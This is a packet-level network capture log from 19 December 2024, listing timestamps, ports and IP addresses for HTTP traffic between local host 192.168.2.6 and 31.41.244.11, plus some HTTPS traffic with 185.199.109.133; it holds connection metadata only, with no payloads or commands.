Dec 19, 2024 16:10:28.402851105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.403594017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.404108047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.404109955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.404154062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.404603004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.404643059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.404781103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.404828072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.405563116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.405697107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.405747890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.406539917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.406613111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.406630039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.406688929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.407520056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.407711983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.407761097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.408539057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.408631086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.408677101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.409461975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.409513950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.409539938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.409575939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.410481930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.410609007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.410638094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.410733938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.411422968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.411472082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.411593914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.411640882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.412364960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.412415028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.412491083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.412815094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.413567066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.413609028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.413837910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.413885117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.414390087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.414793968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.414844036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.415819883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.415982962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.416008949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.416052103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.417386055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.417434931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.417650938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.417700052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.419648886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.419692993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.419715881 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.419764996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.420789957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.420911074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.420969963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.421015024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.422167063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.422218084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.422343969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.422465086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.422954082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.423002005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.423010111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.423049927 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.423793077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.423818111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.423855066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.424628973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.424674988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.424715042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.424778938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.425445080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.425534010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.425581932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.426100969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.426162958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.426206112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.426812887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.426858902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.426878929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.427525997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.427575111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.427606106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.428270102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.428304911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.428343058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.428384066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.429176092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.429344893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.429392099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.430003881 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.430052042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.430098057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.430810928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.430861950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.430876017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.431621075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.571521997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.571578979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.571716070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.571757078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.571927071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.571968079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.571991920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.572165012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.572916985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.572978020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.573069096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.573110104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.573952913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.574042082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.574879885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.574928045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.575063944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.575141907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.575292110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.575337887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.575385094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.575500011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.575989962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.576129913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.576169968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.577017069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.577061892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.577162027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.577199936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.577961922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.578006029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.578120947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.578260899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.578955889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.579006910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.579065084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.579574108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.579953909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.579994917 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.580070019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.580888033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.580935001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.580997944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.581062078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.581886053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.581939936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.582001925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.582051039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.582972050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.583070040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.583091021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.583127975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.583853960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.583905935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.584219933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.584278107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.584932089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.584979057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.584980965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.585017920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.585961103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.586004019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.586064100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.586147070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.586834908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.586858988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.586877108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.586901903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.587764978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.587933064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.587963104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.588002920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.588721037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.588769913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.588773966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.589082956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.589720011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.589828968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.589854956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.589874983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.590676069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.590778112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.590806961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.590818882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.591682911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.591768980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.591793060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.591803074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.592600107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.592648983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.592678070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.592716932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.593641996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.593688011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.593708992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.593748093 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.594679117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.594734907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.594981909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.595025063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.595671892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.595712900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.595765114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.595804930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.596573114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.596645117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.596770048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.596807003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.597637892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.597681046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.597702980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.597934008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.598570108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.598618984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.598620892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.598660946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.599561930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.599603891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.599699974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.599740982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.600522041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.600569963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.600708008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.600748062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.601463079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.601501942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.601557016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.601640940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.602483988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.602539062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.602649927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.602696896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.603451967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.603475094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.603501081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.603512049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.604448080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.604501009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.604667902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.604710102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.605493069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.605525017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.605549097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.605561972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.606451988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.606494904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.606560946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.606599092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.607418060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.607466936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.607472897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.607511044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.608386040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.608429909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.608474970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.608530998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.609344959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.609442949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.609525919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.609570980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.609807014 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.609954119 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.609980106 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.610054970 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.610070944 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.610137939 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.610145092 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.610481977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.610527039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.610655069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.610796928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.611483097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.611537933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.611566067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.611618996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.612494946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.612543106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.612627029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.612669945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.613342047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.613393068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.613468885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.613523006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.614321947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.614370108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.614443064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.614490032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.615176916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.615267992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.615341902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.615396976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.616183996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.616213083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.616239071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.616255999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.617120981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.617173910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.617242098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.617280006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.618175983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.618190050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.618226051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.618314981 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.618400097 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.618416071 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.618504047 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.618562937 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.618602037 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.618613958 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.618628025 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.618729115 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.618736982 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.619131088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.619173050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.619329929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.619647026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.620363951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.620378017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.620412111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.620424986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.621129036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.621207952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.621557951 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.622055054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.622121096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.622138977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.622179031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.626692057 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.626770020 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.626826048 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.626837969 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.626874924 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.626889944 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.635185957 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.635287046 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.635302067 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.643201113 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.643346071 CET	443	49888	185.199.109.133	192.168.2.6
